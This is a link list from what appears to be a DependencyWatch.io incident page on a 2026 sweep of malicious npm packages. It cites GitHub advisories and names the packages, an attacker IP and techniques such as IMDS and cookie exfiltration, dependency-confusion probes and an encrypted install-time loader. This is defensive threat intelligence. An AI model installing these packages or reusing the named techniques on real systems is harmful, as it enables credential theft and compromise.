- [GHSA-8mrv-jcm6-9rv3 - @nimbusedge2/authxsas (Cluster A - IMDS exfil via nip.io wildcard DNS)](https://github.com/advisories/GHSA-8mrv-jcm6-9rv3) - GitHub
- [GHSA-92qm-hjm8-mp6j - @nimbusedge2/authxsas1 (Cluster A - IMDS exfil variant)](https://github.com/advisories/GHSA-92qm-hjm8-mp6j) - GitHub
- [GHSA-pvh9-27rp-6282 - @baanx/solana-lib (Cluster B - algamil7x DNS-OOB day 4, bxsol prefix)](https://github.com/advisories/GHSA-pvh9-27rp-6282) - GitHub
- [GHSA-9mc8-mrvr-f664 - test1sdsd2 (Cluster C - 128.199.122.145 dep-confusion probe)](https://github.com/advisories/GHSA-9mc8-mrvr-f664) - GitHub
- [GHSA-78p9-g7q9-mcjw - test1df23 (Cluster C - dep-confusion probe)](https://github.com/advisories/GHSA-78p9-g7q9-mcjw) - GitHub
- [GHSA-w7fw-w5xv-5p8v - test1gg234 (Cluster C - dep-confusion probe)](https://github.com/advisories/GHSA-w7fw-w5xv-5p8v) - GitHub
- [GHSA-qrfc-3762-c24w - test1hh235 (Cluster C - dep-confusion probe)](https://github.com/advisories/GHSA-qrfc-3762-c24w) - GitHub
- [GHSA-7f39-795r-gxj4 - test12vv36 (Cluster C - dep-confusion probe)](https://github.com/advisories/GHSA-7f39-795r-gxj4) - GitHub
- [GHSA-8rr3-xrmc-xvjf - test1ro (Cluster C - Pipedream collector variant)](https://github.com/advisories/GHSA-8rr3-xrmc-xvjf) - GitHub
- [GHSA-2rg8-m9rx-gfhf - chat-adapter-matrix (Cluster C - Pipedream, 7 lifecycle hooks)](https://github.com/advisories/GHSA-2rg8-m9rx-gfhf) - GitHub
- [GHSA-9vj4-6r95-2p6w - npx-test-ma980 (Cluster C - Windows bin-key metacharacter injection)](https://github.com/advisories/GHSA-9vj4-6r95-2p6w) - GitHub
- [GHSA-5jvh-cf7p-qx9w - chai-testing (Cluster D - detached require-time RCE via axios)](https://github.com/advisories/GHSA-5jvh-cf7p-qx9w) - GitHub
- [GHSA-r2rm-wm4f-f55p - npmscript_tesstalert_unpkg (Cluster E - unpkg CDN cookie exfil)](https://github.com/advisories/GHSA-r2rm-wm4f-f55p) - GitHub
- [GHSA-26h7-cmv3-wgv6 - @pwaplatform/module-sso-integration (Cluster F - dep-confusion sentinel)](https://github.com/advisories/GHSA-26h7-cmv3-wgv6) - GitHub
- [GHSA-hc49-rwm2-p2w7 - testmgkregme (Cluster G - binding.gyp Caesar+AES-128-GCM loader)](https://github.com/advisories/GHSA-hc49-rwm2-p2w7) - GitHub
- [jaschadub/compromised-packages-check - Sep 20-21 2026 sweep (PR #135, 47 npm + 1 PyPI)](https://github.com/jaschadub/compromised-packages-check/pull/135) - jaschadub
- [OpenSSF malicious-packages repository](https://github.com/ossf/malicious-packages) - OpenSSF

---

Canonical page: https://dependencywatch.io/incident/multi-2026-09-21-ghsa-malware-sweep
Markdown version: https://dependencywatch.io/incident/multi-2026-09-21-ghsa-malware-sweep.md
Site index for agents: https://dependencywatch.io/llms.txt
DependencyWatch.io is operated by Precursor Security (https://precursorsecurity.com).
